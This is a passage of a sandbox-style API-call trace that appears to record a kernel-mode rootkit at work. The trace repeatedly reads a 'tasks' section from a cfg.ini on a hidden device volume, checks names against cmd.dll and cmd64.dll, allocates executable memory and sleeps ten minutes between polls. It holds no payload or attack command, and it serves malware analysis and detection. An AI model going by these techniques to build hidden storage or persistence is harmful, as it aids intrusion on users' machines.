(Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.640] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.640] KeEnterCriticalRegion () [0125.640] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.640] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbd000 [0125.640] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.640] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.640] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.640] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.640] IdePortDispatch () returned 0x103 [0125.640] KeWaitForMutexObject () returned 0x0 [0125.640] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.640] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.640] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.641] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.641] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.641] IdePortDispatch () returned 0x103 [0125.641] KeWaitForMutexObject () returned 0x0 [0125.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.641] KeLeaveCriticalRegion () [0125.641] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.641] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.641] KeEnterCriticalRegion () [0125.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.641] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.641] KeLeaveCriticalRegion () [0125.641] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.641] KeEnterCriticalRegion () [0125.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.641] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.641] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf98f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.641] KeLeaveCriticalRegion () [0125.641] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.642] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.642] KeEnterCriticalRegion () [0125.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.642] ExFreePoolWithTag (P=0xfffffa8003bf9c10, Tag=0x0) [0125.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.642] KeLeaveCriticalRegion () [0125.642] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.642] ReleaseMutex (hMutex=0xf0) returned 1 [0125.642] Sleep (dwMilliseconds=0x927c0) [0125.655] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.655] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.655] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.655] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.656] KeEnterCriticalRegion () [0125.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.656] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.656] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.656] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.656] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.656] IdePortDispatch () returned 0x103 [0125.656] KeWaitForMutexObject () returned 0x0 [0125.656] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.656] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.656] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.656] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.656] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.656] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9830 [0125.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.656] KeLeaveCriticalRegion () [0125.656] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.656] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.656] KeEnterCriticalRegion () [0125.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.656] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.656] KeLeaveCriticalRegion () [0125.656] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.656] KeEnterCriticalRegion () [0125.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.656] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.656] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.656] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.656] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.656] IdePortDispatch () returned 0x103 [0125.657] KeWaitForMutexObject () returned 0x0 [0125.657] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.657] KeLeaveCriticalRegion () [0125.657] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.657] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.657] KeEnterCriticalRegion () [0125.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.657] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc2000 [0125.657] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.657] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.657] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.657] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.657] IdePortDispatch () returned 0x103 [0125.657] KeWaitForMutexObject () returned 0x0 [0125.657] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.657] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.657] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.657] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.657] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.657] IdePortDispatch () returned 0x103 [0125.657] KeWaitForMutexObject () returned 0x0 [0125.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.657] KeLeaveCriticalRegion () [0125.657] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.658] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.658] KeEnterCriticalRegion () [0125.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.658] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.658] KeLeaveCriticalRegion () [0125.658] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.658] KeEnterCriticalRegion () [0125.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.658] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.658] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf98f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.658] KeLeaveCriticalRegion () [0125.658] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.658] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.658] KeEnterCriticalRegion () [0125.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.658] ExFreePoolWithTag (P=0xfffffa8003bf9830, Tag=0x0) [0125.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.658] KeLeaveCriticalRegion () [0125.658] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.658] ReleaseMutex (hMutex=0xf0) returned 1 [0125.658] Sleep (dwMilliseconds=0x927c0) [0125.672] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.672] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.672] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.672] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.672] KeEnterCriticalRegion () [0125.672] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.672] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.672] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.672] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.672] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.672] IdePortDispatch () returned 0x103 [0125.673] KeWaitForMutexObject () returned 0x0 [0125.673] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.673] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.673] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.673] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.673] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.673] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9830 [0125.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.674] KeLeaveCriticalRegion () [0125.674] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.674] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.674] KeEnterCriticalRegion () [0125.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.674] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.674] KeLeaveCriticalRegion () [0125.674] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.674] KeEnterCriticalRegion () [0125.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.674] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.674] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.674] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.674] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.674] IdePortDispatch () returned 0x103 [0125.674] KeWaitForMutexObject () returned 0x0 [0125.674] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.674] KeLeaveCriticalRegion () [0125.674] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.674] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.674] KeEnterCriticalRegion () [0125.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.674] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc7000 [0125.674] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.674] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.674] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.674] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.674] IdePortDispatch () returned 0x103 [0125.675] KeWaitForMutexObject () returned 0x0 [0125.675] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.675] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.675] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.675] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.675] IdePortDispatch () returned 0x103 [0125.675] KeWaitForMutexObject () returned 0x0 [0125.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.675] KeLeaveCriticalRegion () [0125.675] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.675] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.675] KeEnterCriticalRegion () [0125.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.675] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.675] KeLeaveCriticalRegion () [0125.676] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.676] KeEnterCriticalRegion () [0125.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.676] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.676] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf95a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.676] KeLeaveCriticalRegion () [0125.676] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.676] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.676] KeEnterCriticalRegion () [0125.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.676] ExFreePoolWithTag (P=0xfffffa8003bf9830, Tag=0x0) [0125.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.676] KeLeaveCriticalRegion () [0125.676] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.676] ReleaseMutex (hMutex=0xf0) returned 1 [0125.676] Sleep (dwMilliseconds=0x927c0) [0125.690] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.690] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.690] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.690] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.690] KeEnterCriticalRegion () [0125.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.690] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.690] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.690] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.690] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.690] IdePortDispatch () returned 0x103 [0125.691] KeWaitForMutexObject () returned 0x0 [0125.691] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.691] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.691] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.691] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.691] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.691] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9c60 [0125.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.691] KeLeaveCriticalRegion () [0125.691] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.691] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.691] KeEnterCriticalRegion () [0125.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.691] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.691] KeLeaveCriticalRegion () [0125.691] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.691] KeEnterCriticalRegion () [0125.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.691] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.691] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.691] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.691] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.691] IdePortDispatch () returned 0x103 [0125.691] KeWaitForMutexObject () returned 0x0 [0125.691] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.691] KeLeaveCriticalRegion () [0125.692] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.692] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.692] KeEnterCriticalRegion () [0125.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.692] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ccc000 [0125.692] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.692] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.692] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.692] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.692] IdePortDispatch () returned 0x103 [0125.692] KeWaitForMutexObject () returned 0x0 [0125.692] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.692] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.692] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.692] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.692] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.692] IdePortDispatch () returned 0x103 [0125.692] KeWaitForMutexObject () returned 0x0 [0125.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.692] KeLeaveCriticalRegion () [0125.692] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.693] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 